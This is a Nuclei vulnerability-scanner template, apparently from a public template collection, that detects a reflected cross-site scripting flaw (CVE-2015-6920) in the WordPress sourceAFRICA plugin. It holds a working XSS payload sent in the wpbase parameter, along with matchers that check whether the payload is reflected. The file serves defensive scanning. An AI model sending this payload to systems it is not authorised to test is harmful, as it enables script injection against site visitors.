id: CVE-2015-6920

info:
  name: WordPress sourceAFRICA <=0.1.3 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress sourceAFRICA plugin version 0.1.3 contains a cross-site scripting vulnerability.
  impact: |
    Attackers can execute malicious scripts in the victim's browser, potentially stealing cookies or session tokens.
  remediation: |
    Update to the latest version of the plugin where the vulnerability is fixed.
  reference:
    - http://packetstormsecurity.com/files/133371/WordPress-sourceAFRICA-0.1.3-Cross-Site-Scripting.html
    - https://wpvulndb.com/vulnerabilities/8169
    - https://nvd.nist.gov/vuln/detail/CVE-2015-6920
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2015-6920
    cwe-id: CWE-79
    epss-score: 0.0384
    epss-percentile: 0.89065
    cpe: cpe:2.3:a:sourceafrica_project:sourceafrica:0.1.3:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "sourceafrica_project"
    product: sourceafrica
    framework: wordpress
  tags: cve2015,cve,wp-plugin,xss,packetstorm,wordpress,sourceafrica_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/sourceafrica/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'SourceAfrica'
          - 'Tags:'
        condition: and
        case-insensitive: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/sourceafrica/js/window.php?wpbase=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"></script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a004730450220404da033a65d29f656fe9d48f50448934797e799f4578d8a1adbeb70c5b86631022100c79ff97ed66531d85dc3f6e928f740a83754faa4166a8efd514b680c491af1a3:922c64590222798bb761d5b6d8e72950